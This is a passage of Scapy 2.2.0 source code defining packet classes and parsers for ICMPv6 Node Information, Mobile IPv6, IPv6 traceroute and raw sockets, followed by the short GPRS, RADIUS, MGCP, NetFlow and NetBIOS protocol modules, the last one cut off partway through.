ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Reply - NOOP Reply" fields_desc = [ ByteEnumField("type", 140, icmp6types), ByteEnumField("code", 0, _nireply_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIReplyDataField("data", None)] class ICMPv6NIReplyName(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Node Names" qtype = 2 class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv6 addresses" qtype = 3 class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv4 addresses" qtype = 4 class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Responder refuses to supply answer" code = 1 class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Qtype unknown to the responder" code = 2 def _niquery_guesser(p): cls = Raw type = ord(p[0]) if type == 139: # Node Info Query specific stuff if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = { 0: ICMPv6NIQueryNOOP, 2: ICMPv6NIQueryName, 3: ICMPv6NIQueryIPv6, 4: ICMPv6NIQueryIPv4 }.get(qtype, Raw) elif type == 140: # Node Info Reply specific stuff code = ord(p[1]) if code == 0: if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = { 2: ICMPv6NIReplyName, 3: ICMPv6NIReplyIPv6, 4: ICMPv6NIReplyIPv4 }.get(qtype, ICMPv6NIReplyNOOP) elif code == 1: cls = ICMPv6NIReplyRefuse elif code == 2: cls = ICMPv6NIReplyUnknown return cls ############################################################################# ############################################################################# ### Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) ### ############################################################################# ############################################################################# # Mobile IPv6 ICMPv6 related classes class ICMPv6HAADRequest(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Request' fields_desc = [ ByteEnumField("type", 144, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15) ] def hashret(self): return struct.pack("!H",self.id)+self.payload.hashret() class ICMPv6HAADReply(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Reply' fields_desc = [ ByteEnumField("type", 145, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15), IP6ListField('addresses', None) ] def hashret(self): return struct.pack("!H",self.id)+self.payload.hashret() def answers(self, other): if not isinstance(other, ICMPv6HAADRequest): return 0 return self.id == other.id class ICMPv6MPSol(_ICMPv6): name = 'ICMPv6 Mobile Prefix Solicitation' fields_desc = [ ByteEnumField("type", 146, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), XShortField("res", 0) ] def _hashret(self): return struct.pack("!H",self.id) class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = 'ICMPv6 Mobile Prefix Advertisement' fields_desc = [ ByteEnumField("type", 147, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("flags", 2, 2, {2: 'M', 1:'O'}), XBitField("res", 0, 14) ] def hashret(self): return struct.pack("!H",self.id) def answers(self, other): return isinstance(other, ICMPv6MPSol) # Mobile IPv6 Options classes _mobopttypes = { 2: "Binding Refresh Advice", 3: "Alternate Care-of Address", 4: "Nonce Indices", 5: "Binding Authorization Data", 6: "Mobile Network Prefix (RFC3963)", 7: "Link-Layer Address (RFC4068)", 8: "Mobile Node Identifier (RFC4283)", 9: "Mobility Message Authentication (RFC4285)", 10: "Replay Protection (RFC4285)", 11: "CGA Parameters Request (RFC4866)", 12: "CGA Parameters (RFC4866)", 13: "Signature (RFC4866)", 14: "Home Keygen Token (RFC4866)", 15: "Care-of Test Init (RFC4866)", 16: "Care-of Test (RFC4866)" } class _MIP6OptAlign: """ Mobile IPv6 options have alignment requirements of the form x*n+y. This class is inherited by all MIPv6 options to help in computing the required Padding for that option, i.e. the need for a Pad1 or PadN option before it. They only need to provide x and y as class parameters. (x=0 and y=0 are used when no alignment is required)""" def alignment_delta(self, curpos): x = self.x ; y = self.y if x == 0 and y ==0: return 0 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta class MIP6OptBRAdvice(_MIP6OptAlign, Packet): name = 'Mobile IPv6 Option - Binding Refresh Advice' fields_desc = [ ByteEnumField('otype', 2, _mobopttypes), ByteField('olen', 2), ShortField('rinter', 0) ] x = 2 ; y = 0# alignment requirement: 2n class MIP6OptAltCoA(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Alternate Care-of Address' fields_desc = [ ByteEnumField('otype', 3, _mobopttypes), ByteField('olen', 16), IP6Field("acoa", "::") ] x = 8 ; y = 6 # alignment requirement: 8n+6 class MIP6OptNonceIndices(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Nonce Indices' fields_desc = [ ByteEnumField('otype', 4, _mobopttypes), ByteField('olen', 16), ShortField('hni', 0), ShortField('coni', 0) ] x = 2 ; y = 0 # alignment requirement: 2n class MIP6OptBindingAuthData(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Binding Authorization Data' fields_desc = [ ByteEnumField('otype', 5, _mobopttypes), ByteField('olen', 16), BitField('authenticator', 0, 96) ] x = 8 ; y = 2 # alignment requirement: 8n+2 class MIP6OptMobNetPrefix(_MIP6OptAlign, Packet): # NEMO - RFC 3963 name = 'NEMO Option - Mobile Network Prefix' fields_desc = [ ByteEnumField("otype", 6, _mobopttypes), ByteField("olen", 18), ByteField("reserved", 0), ByteField("plen", 64), IP6Field("prefix", "::") ] x = 8 ; y = 4 # alignment requirement: 8n+4 class MIP6OptLLAddr(_MIP6OptAlign, Packet): # Sect 6.4.4 of RFC 4068 name = "MIPv6 Option - Link-Layer Address (MH-LLA)" fields_desc = [ ByteEnumField("otype", 7, _mobopttypes), ByteField("olen", 7), ByteEnumField("ocode", 2, _rfc4068_lla_optcode), ByteField("pad", 0), MACField("lla", ETHER_ANY) ] # Only support ethernet x = 0 ; y = 0 # alignment requirement: none class MIP6OptMNID(_MIP6OptAlign, Packet): # RFC 4283 name = "MIPv6 Option - Mobile Node Identifier" fields_desc = [ ByteEnumField("otype", 8, _mobopttypes), FieldLenField("olen", None, length_of="id", fmt="B", adjust = lambda pkt,x: x+1), ByteEnumField("subtype", 1, {1: "NAI"}), StrLenField("id", "", length_from = lambda pkt: pkt.olen-1) ] x = 0 ; y = 0 # alignment requirement: none # We only support decoding and basic build. Automatic HMAC computation is # too much work for our current needs. It is left to the user (I mean ... # you). --arno class MIP6OptMsgAuth(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 5) name = "MIPv6 Option - Mobility Message Authentication" fields_desc = [ ByteEnumField("otype", 9, _mobopttypes), FieldLenField("olen", None, length_of="authdata", fmt="B", adjust = lambda pkt,x: x+5), ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", 2: "MN-AAA authentication mobility option"}), IntField("mspi", None), StrLenField("authdata", "A"*12, length_from = lambda pkt: pkt.olen-5) ] x = 4 ; y = 1 # alignment requirement: 4n+1 # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. class NTPTimestampField(LongField): epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) def i2repr(self, pkt, x): if x < ((50*31536000)<<32): return "Some date a few decades ago (%d)" % x # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to # January 1st 1970 : delta = -2209075761 i = int(x >> 32) j = float(x & 0xffffffff) * 2.0**-32 res = i + j + delta from time import strftime t = time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(res)) return "%s (%d)" % (t, x) class MIP6OptReplayProtection(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 6) name = "MIPv6 option - Replay Protection" fields_desc = [ ByteEnumField("otype", 10, _mobopttypes), ByteField("olen", 8), NTPTimestampField("timestamp", 0) ] x = 8 ; y = 2 # alignment requirement: 8n+2 class MIP6OptCGAParamsReq(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.6) name = "MIPv6 option - CGA Parameters Request" fields_desc = [ ByteEnumField("otype", 11, _mobopttypes), ByteField("olen", 0) ] x = 0 ; y = 0 # alignment requirement: none # XXX TODO: deal with CGA param fragmentation and build of defragmented # XXX version. Passing of a big CGAParam structure should be # XXX simplified. Make it hold packets, by the way --arno class MIP6OptCGAParams(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.1) name = "MIPv6 option - CGA Parameters" fields_desc = [ ByteEnumField("otype", 12, _mobopttypes), FieldLenField("olen", None, length_of="cgaparams", fmt="B"), StrLenField("cgaparams", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptSignature(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.2) name = "MIPv6 option - Signature" fields_desc = [ ByteEnumField("otype", 13, _mobopttypes), FieldLenField("olen", None, length_of="sig", fmt="B"), StrLenField("sig", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptHomeKeygenToken(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.3) name = "MIPv6 option - Home Keygen Token" fields_desc = [ ByteEnumField("otype", 14, _mobopttypes), FieldLenField("olen", None, length_of="hkt", fmt="B"), StrLenField("hkt", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptCareOfTestInit(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.4) name = "MIPv6 option - Care-of Test Init" fields_desc = [ ByteEnumField("otype", 15, _mobopttypes), ByteField("olen", 0) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptCareOfTest(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.5) name = "MIPv6 option - Care-of Test" fields_desc = [ ByteEnumField("otype", 16, _mobopttypes), FieldLenField("olen", None, length_of="cokt", fmt="B"), StrLenField("cokt", '\x00'*8, length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptUnknown(_MIP6OptAlign, Packet): name = 'Scapy6 - Unknown Mobility Option' fields_desc = [ ByteEnumField("otype", 6, _mobopttypes), FieldLenField("olen", None, length_of="odata", fmt="B"), StrLenField("odata", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none moboptcls = { 0: Pad1, 1: PadN, 2: MIP6OptBRAdvice, 3: MIP6OptAltCoA, 4: MIP6OptNonceIndices, 5: MIP6OptBindingAuthData, 6: MIP6OptMobNetPrefix, 7: MIP6OptLLAddr, 8: MIP6OptMNID, 9: MIP6OptMsgAuth, 10: MIP6OptReplayProtection, 11: MIP6OptCGAParamsReq, 12: MIP6OptCGAParams, 13: MIP6OptSignature, 14: MIP6OptHomeKeygenToken, 15: MIP6OptCareOfTestInit, 16: MIP6OptCareOfTest } # Main Mobile IPv6 Classes mhtypes = { 0: 'BRR', 1: 'HoTI', 2: 'CoTI', 3: 'HoT', 4: 'CoT', 5: 'BU', 6: 'BA', 7: 'BE', 8: 'Fast BU', 9: 'Fast BA', 10: 'Fast NA' } # From http://www.iana.org/assignments/mobility-parameters bastatus = { 0: 'Binding Update accepted', 1: 'Accepted but prefix discovery necessary', 128: 'Reason unspecified', 129: 'Administratively prohibited', 130: 'Insufficient resources', 131: 'Home registration not supported', 132: 'Not home subnet', 133: 'Not home agent for this mobile node', 134: 'Duplicate Address Detection failed', 135: 'Sequence number out of window', 136: 'Expired home nonce index', 137: 'Expired care-of nonce index', 138: 'Expired nonces', 139: 'Registration type change disallowed', 140: 'Mobile Router Operation not permitted', 141: 'Invalid Prefix', 142: 'Not Authorized for Prefix', 143: 'Forwarding Setup failed (prefixes missing)', 144: 'MIPV6-ID-MISMATCH', 145: 'MIPV6-MESG-ID-REQD', 146: 'MIPV6-AUTH-FAIL', 147: 'Permanent home keygen token unavailable', 148: 'CGA and signature verification failed', 149: 'Permanent home keygen token exists', 150: 'Non-null home nonce index expected' } class _MobilityHeader(Packet): name = 'Dummy IPv6 Mobility Header' overload_fields = { IPv6: { "nh": 135 }} def post_build(self, p, pay): p += pay l = self.len if self.len is None: l = (len(p)-8)/8 p = p[0] + struct.pack("B", l) + p[2:] if self.cksum is None: cksum = in6_chksum(135, self.underlayer, p) else: cksum = self.cksum p = p[:4]+struct.pack("!H", cksum)+p[6:] return p class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg name = "IPv6 Mobility Header - Generic Message" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", None, mhtypes), ByteField("res", None), XShortField("cksum", None), StrLenField("msg", "\x00"*2, length_from = lambda pkt: 8*pkt.len-6) ] # TODO: make a generic _OptionsField class _MobilityOptionsField(PacketListField): islist = 1 holds_packet = 1 def __init__(self, name, default, cls, curpos, count_from=None, length_from=None): self.curpos = curpos PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from) def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:],self.m2i(pkt, s[:l]) def i2len(self, pkt, i): return len(self.i2m(pkt, i)) def m2i(self, pkt, x): opt = [] while x: o = ord(x[0]) # Option type cls = self.cls if moboptcls.has_key(o): cls = moboptcls[o] try: op = cls(x) except: op = self.cls(x) opt.append(op) if isinstance(op.payload, Raw): x = op.payload.load del(op.payload) else: x = "" return opt def i2m(self, pkt, x): autopad = None try: autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field except: autopad = 1 if not autopad: return "".join(map(str, x)) curpos = self.curpos s = "" for p in x: d = p.alignment_delta(curpos) curpos += d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) pstr = str(p) curpos += len(pstr) s += pstr # Let's make the class including our option field # a multiple of 8 octets long d = curpos % 8 if d == 0: return s d = 8 - d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) return s def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) class MIP6MH_BRR(_MobilityHeader): name = "IPv6 Mobility Header - Binding Refresh Request" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 0, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("res2", None), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 8, length_from = lambda pkt: 8*pkt.len) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): # Hack: BRR, BU and BA have the same hashret that returns the same # value "\x00\x08\x09" (concatenation of mhtypes). This is # because we need match BA with BU and BU with BRR. --arno return "\x00\x08\x09" class MIP6MH_HoTI(_MobilityHeader): name = "IPv6 Mobility Header - Home Test Init" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 1, mhtypes), ByteField("res", None), XShortField("cksum", None), StrFixedLenField("cookie", "\x00"*8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 16, length_from = lambda pkt: 8*(pkt.len-1)) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): return self.cookie class MIP6MH_CoTI(MIP6MH_HoTI): name = "IPv6 Mobility Header - Care-of Test Init" mhtype = 2 def hashret(self): return self.cookie class MIP6MH_HoT(_MobilityHeader): name = "IPv6 Mobility Header - Home Test" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 3, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("index", None), StrFixedLenField("cookie", "\x00"*8, 8), StrFixedLenField("token", "\x00"*8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 24, length_from = lambda pkt: 8*(pkt.len-2)) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): return self.cookie def answers(self): if (isinstance(other, MIP6MH_HoTI) and self.cookie == other.cookie): return 1 return 0 class MIP6MH_CoT(MIP6MH_HoT): name = "IPv6 Mobility Header - Care-of Test" mhtype = 4 def hashret(self): return self.cookie def answers(self): if (isinstance(other, MIP6MH_CoTI) and self.cookie == other.cookie): return 1 return 0 class LifetimeField(ShortField): def i2repr(self, pkt, x): return "%d sec" % (4*x) class MIP6MH_BU(_MobilityHeader): name = "IPv6 Mobility Header - Binding Update" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 5, mhtypes), ByteField("res", None), XShortField("cksum", None), XShortField("seq", None), # TODO: ShortNonceField FlagsField("flags", "KHA", 7, "PRMKLHA"), XBitField("reserved", 0, 9), LifetimeField("mhtime", 3), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 12, length_from = lambda pkt: 8*pkt.len - 4) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return "\x00\x08\x09" def answers(self, other): if isinstance(other, MIP6MH_BRR): return 1 return 0 class MIP6MH_BA(_MobilityHeader): name = "IPv6 Mobility Header - Binding ACK" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 6, mhtypes), ByteField("res", None), XShortField("cksum", None), ByteEnumField("status", 0, bastatus), FlagsField("flags", "K", 3, "PRK"), XBitField("res2", None, 5), XShortField("seq", None), # TODO: ShortNonceField XShortField("mhtime", 0), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 12, length_from = lambda pkt: 8*pkt.len-4) ] overload_fields = { IPv6: { "nh": 135 }} def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return "\x00\x08\x09" def answers(self, other): if (isinstance(other, MIP6MH_BU) and other.mhtype == 5 and self.mhtype == 6 and other.flags & 0x1 and # Ack request flags is set self.seq == other.seq): return 1 return 0 _bestatus = { 1: 'Unknown binding for Home Address destination option', 2: 'Unrecognized MH Type value' } # TODO: match Binding Error to its stimulus class MIP6MH_BE(_MobilityHeader): name = "IPv6 Mobility Header - Binding Error" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 7, mhtypes), ByteField("res", 0), XShortField("cksum", None), ByteEnumField("status", 0, _bestatus), ByteField("reserved", 0), IP6Field("ha", "::"), _MobilityOptionsField("options", [], MIP6OptUnknown, 24, length_from = lambda pkt: 8*(pkt.len-2)) ] overload_fields = { IPv6: { "nh": 135 }} _mip6_mhtype2cls = { 0: MIP6MH_BRR, 1: MIP6MH_HoTI, 2: MIP6MH_CoTI, 3: MIP6MH_HoT, 4: MIP6MH_CoT, 5: MIP6MH_BU, 6: MIP6MH_BA, 7: MIP6MH_BE } ############################################################################# ############################################################################# ### Traceroute6 ### ############################################################################# ############################################################################# class AS_resolver6(AS_resolver_riswhois): def _resolve_one(self, ip): """ overloaded version to provide a Whois resolution on the embedded IPv4 address if the address is 6to4 or Teredo. Otherwise, the native IPv6 address is passed. """ if in6_isaddr6to4(ip): # for 6to4, use embedded @ tmp = inet_pton(socket.AF_INET6, ip) addr = inet_ntop(socket.AF_INET, tmp[2:6]) elif in6_isaddrTeredo(ip): # for Teredo, use mapped address addr = teredoAddrExtractInfo(ip)[2] else: addr = ip _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr) return ip,asn,desc class TracerouteResult6(TracerouteResult): def show(self): return self.make_table(lambda (s,r): (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! s.hlim, r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}"+ "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}"+ "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}"+ "{ICMPv6EchoReply:%ir,type%}"))) def get_trace(self): trace = {} for s,r in self.res: if IPv6 not in s: continue d = s[IPv6].dst if d not in trace: trace[d] = {} t = not (ICMPv6TimeExceeded in r or ICMPv6DestUnreach in r or ICMPv6PacketTooBig in r or ICMPv6ParamProblem in r) trace[d][s[IPv6].hlim] = r[IPv6].src, t for k in trace.values(): m = filter(lambda x: k[x][1], k.keys()) if not m: continue m = min(m) for l in k.keys(): if l > m: del(k[l]) return trace def graph(self, ASres=AS_resolver6(), **kargs): TracerouteResult.graph(self, ASres=ASres, **kargs) def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4 = None, timeout=2, verbose=None, **kargs): """ Instant TCP traceroute using IPv6 : traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None """ if verbose is None: verbose = conf.verb if l4 is None: a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport), timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) else: a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/l4, timeout=timeout, verbose=verbose, **kargs) a = TracerouteResult6(a.res) if verbose: a.display() return a,b ############################################################################# ############################################################################# ### Sockets ### ############################################################################# ############################################################################# class L3RawSocket6(L3RawSocket): def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): L3RawSocket.__init__(self, type, filter, iface, promisc) # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) def IPv6inIP(dst='203.178.135.36', src=None): _IPv6inIP.dst = dst _IPv6inIP.src = src if not conf.L3socket == _IPv6inIP: _IPv6inIP.cls = conf.L3socket else: del(conf.L3socket) return _IPv6inIP class _IPv6inIP(SuperSocket): dst = '127.0.0.1' src = None cls = None def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): SuperSocket.__init__(self, family, type, proto) self.worker = self.cls(**args) def set(self, dst, src=None): _IPv6inIP.src = src _IPv6inIP.dst = dst def nonblock_recv(self): p = self.worker.nonblock_recv() return self._recv(p) def recv(self, x): p = self.worker.recv(x) return self._recv(p, x) def _recv(self, p, x=MTU): if p is None: return p elif isinstance(p, IP): # TODO: verify checksum if p.src == self.dst and p.proto == socket.IPPROTO_IPV6: if isinstance(p.payload, IPv6): return p.payload return p def send(self, x): return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x) ############################################################################# ############################################################################# ### Layers binding ### ############################################################################# ############################################################################# conf.l3types.register(ETH_P_IPV6, IPv6) conf.l2types.register(31, IPv6) bind_layers(Ether, IPv6, type = 0x86dd ) bind_layers(CookedLinux, IPv6, proto = 0x86dd ) bind_layers(IPerror6, TCPerror, nh = socket.IPPROTO_TCP ) bind_layers(IPerror6, UDPerror, nh = socket.IPPROTO_UDP ) bind_layers(IPv6, TCP, nh = socket.IPPROTO_TCP ) bind_layers(IPv6, UDP, nh = socket.IPPROTO_UDP ) bind_layers(IP, IPv6, proto = socket.IPPROTO_IPV6 ) bind_layers(IPv6, IPv6, nh = socket.IPPROTO_IPV6 ) scapy-2.2.0/scapy/layers/gprs.py0000644000175000017500000000102511430356073014703 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ GPRS (General Packet Radio Service) for mobile data communication. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import IP class GPRS(Packet): name = "GPRSdummy" fields_desc = [ StrStopField("dummy","","\x65\x00\x00",1) ] bind_layers( GPRS, IP, ) scapy-2.2.0/scapy/layers/radius.py0000644000175000017500000000631011430356076015224 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ RADIUS (Remote Authentication Dial In User Service) """ import struct from scapy.packet import * from scapy.fields import * class Radius(Packet): name = "Radius" fields_desc = [ ByteEnumField("code", 1, {1: "Access-Request", 2: "Access-Accept", 3: "Access-Reject", 4: "Accounting-Request", 5: "Accounting-Accept", 6: "Accounting-Status", 7: "Password-Request", 8: "Password-Ack", 9: "Password-Reject", 10: "Accounting-Message", 11: "Access-Challenge", 12: "Status-Server", 13: "Status-Client", 21: "Resource-Free-Request", 22: "Resource-Free-Response", 23: "Resource-Query-Request", 24: "Resource-Query-Response", 25: "Alternate-Resource-Reclaim-Request", 26: "NAS-Reboot-Request", 27: "NAS-Reboot-Response", 29: "Next-Passcode", 30: "New-Pin", 31: "Terminate-Session", 32: "Password-Expired", 33: "Event-Request", 34: "Event-Response", 40: "Disconnect-Request", 41: "Disconnect-ACK", 42: "Disconnect-NAK", 43: "CoA-Request", 44: "CoA-ACK", 45: "CoA-NAK", 50: "IP-Address-Allocate", 51: "IP-Address-Release", 253: "Experimental-use", 254: "Reserved", 255: "Reserved"} ), ByteField("id", 0), ShortField("len", None), StrFixedLenField("authenticator","",16) ] def post_build(self, p, pay): p += pay l = self.len if l is None: l = len(p) p = p[:2]+struct.pack("!H",l)+p[4:] return p scapy-2.2.0/scapy/layers/mgcp.py0000644000175000017500000000316311430356075014665 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ MGCP (Media Gateway Control Protocol) [RFC 2805] """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP class MGCP(Packet): name = "MGCP" longname = "Media Gateway Control Protocol" fields_desc = [ StrStopField("verb","AUEP"," ", -1), StrFixedLenField("sep1"," ",1), StrStopField("transaction_id","1234567"," ", -1), StrFixedLenField("sep2"," ",1), StrStopField("endpoint","dummy@dummy.net"," ", -1), StrFixedLenField("sep3"," ",1), StrStopField("version","MGCP 1.0 NCS 1.0","\x0a", -1), StrFixedLenField("sep4","\x0a",1), ] #class MGCP(Packet): # name = "MGCP" # longname = "Media Gateway Control Protocol" # fields_desc = [ ByteEnumField("type",0, ["request","response","others"]), # ByteField("code0",0), # ByteField("code1",0), # ByteField("code2",0), # ByteField("code3",0), # ByteField("code4",0), # IntField("trasid",0), # IntField("req_time",0), # ByteField("is_duplicate",0), # ByteField("req_available",0) ] # bind_layers( UDP, MGCP, dport=2727) bind_layers( UDP, MGCP, sport=2727) scapy-2.2.0/scapy/layers/netflow.py0000644000175000017500000000307111430356075015413 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Cisco NetFlow protocol v1 """ from scapy.fields import * from scapy.packet import * # Cisco Netflow Protocol version 1 class NetflowHeader(Packet): name = "Netflow Header" fields_desc = [ ShortField("version", 1) ] class NetflowHeaderV1(Packet): name = "Netflow Header V1" fields_desc = [ ShortField("count", 0), IntField("sysUptime", 0), IntField("unixSecs", 0), IntField("unixNanoSeconds", 0) ] class NetflowRecordV1(Packet): name = "Netflow Record" fields_desc = [ IPField("ipsrc", "0.0.0.0"), IPField("ipdst", "0.0.0.0"), IPField("nexthop", "0.0.0.0"), ShortField("inputIfIndex", 0), ShortField("outpuIfIndex", 0), IntField("dpkts", 0), IntField("dbytes", 0), IntField("starttime", 0), IntField("endtime", 0), ShortField("srcport", 0), ShortField("dstport", 0), ShortField("padding", 0), ByteField("proto", 0), ByteField("tos", 0), IntField("padding1", 0), IntField("padding2", 0) ] bind_layers( NetflowHeader, NetflowHeaderV1, version=1) bind_layers( NetflowHeaderV1, NetflowRecordV1, ) scapy-2.2.0/scapy/layers/netbios.py0000644000175000017500000002561311430356075015406 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ NetBIOS over TCP/IP [RFC 1001/1002] """ import struct from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP,TCP from scapy.layers.l2 import SourceMACField class NetBIOS_DS(Packet): name = "NetBIOS datagram service" fields_desc = [ ByteEnumField("type",17, {17:"direct_group"}), ByteField("flags",0), XShortField("id",0), IPField("src","127.0.0.1"), ShortField("sport",138), ShortField("len",None), ShortField("ofs",0), NetBIOSNameField("srcname",""), NetBIOSNameField("dstname",""), ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-14 p = p[:10]+struct.pack("!H", l)+p[12:] return p # ShortField("length",0), # ShortField("Delimitor",0), # ByteField("command",0), # ByteField("data1",0), # ShortField("data2",0), # ShortField("XMIt",0), # ShortField("RSPCor",0), # StrFixedLenField("dest","",16), # StrFixedLenField("source","",16), # # ] # #NetBIOS # Name Query Request # Node Status Request class NBNSQueryRequest(Packet): name="NBNS query request" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x0110), ShortField("QDCOUNT",1), ShortField("ANCOUNT",0), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("QUESTION_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 